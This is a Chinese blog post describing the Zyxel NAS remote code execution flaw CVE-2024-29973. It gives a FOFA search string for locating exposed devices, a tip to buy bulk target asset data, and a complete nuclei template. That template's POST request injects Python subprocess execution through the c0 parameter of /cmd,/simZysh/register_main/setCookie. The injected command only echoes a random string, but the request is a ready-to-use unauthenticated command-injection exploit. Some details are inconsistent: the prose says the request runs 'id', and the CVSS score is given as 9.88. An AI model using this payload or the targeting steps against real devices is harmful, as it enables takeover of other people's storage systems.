Zyxel NAS设备的CVE-2024-29973远程代码执行漏洞验证

概述#

最近,Zyxel NAS 设备曝出了一个重大安全漏洞(CVE-2024-29973),该漏洞允许远程攻击者在受影响的设备上执行任意代码。这一漏洞已经被广泛关注,并被证实可以在实际中复现。本文将详细介绍该漏洞的成因、利用方式以及如何检测和防御这种攻击。

漏洞成因#

Zyxel NAS 设备中存在一个不安全的 CGI 接口 /cmd,/simZysh/register_main/setCookie。该接口的参数 c0 没有正确的输入校验,导致用户可以通过特殊构造的输入来注入系统命令,并以设备权限执行这些命令。这种远程代码执行(RCE)漏洞为攻击者提供了完全控制受影响设备的能力,可能导致数据泄露、服务中断等严重后果。

FOFA#

通过 FOFA 搜索可以快速定位可能受影响的设备。使用以下关键字可以找到暴露了该漏洞的设备:

body="/cmd,/ck6fup6/user_grp_cgi/cgi_modify_userinfo"

以下是 FOFA 搜索结果示例:

image-20240621163236371

批量验证、资产数据可以看看闲鱼,挺便宜的 关键字 数据代导出

image-20240621163732585

漏洞验证#

为了确认设备是否存在该漏洞,可以使用以下 nuclei模板:

id: CVE-2024-29973

info:
  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
  reference:
    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
    - https://x.com/sirifu4k1/status/1803267896656929099/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.88
    cve-id: CVE-2024-29973
    cwe-id: CWE-78
    epss-score: 0.96901
    epss-percentile: 0.9971
    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: nas326_firmware
    fofa-query: app="ZYXEL-NAS326"
  tags: cve,cve2024,zyxel,rce,intrusive
variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="c0"

        storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'errmsg0\": \"OK')"
          - "contains(header, 'application/json')"
          - "contains(body, '{{string}}')"
        condition: and

该请求尝试在设备上执行 id 命令。如果响应中包含用户身份信息,则表明设备存在该漏洞。

nuclei批量验证截图

image-20240621171116314

参考来源#

- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://x.com/sirifu4k1/status/1803267896656929099/photo/1
- https://nvd.nist.gov/vuln/detail/CVE-2024-29973
- https://github.com/projectdiscovery/nuclei-templates/blob/9eec4a72e18ff2600397e84994c28f5e8f53f472/http/cves/2024/CVE-2024-29973.yaml#L35

作者:vivovox

出处:https://www.cnblogs.com/vivovox/p/18260950

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

posted @   vivovox  阅读(826)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 实操Deepseek接入个人知识库
· 易语言 —— 开山篇
· 【全网最全教程】使用最强DeepSeekR1+联网的火山引擎,没有生成长度限制,DeepSeek本体
more_horiz
keyboard_arrow_up light_mode palette
选择主题
menu
点击右上角即可分享
微信分享提示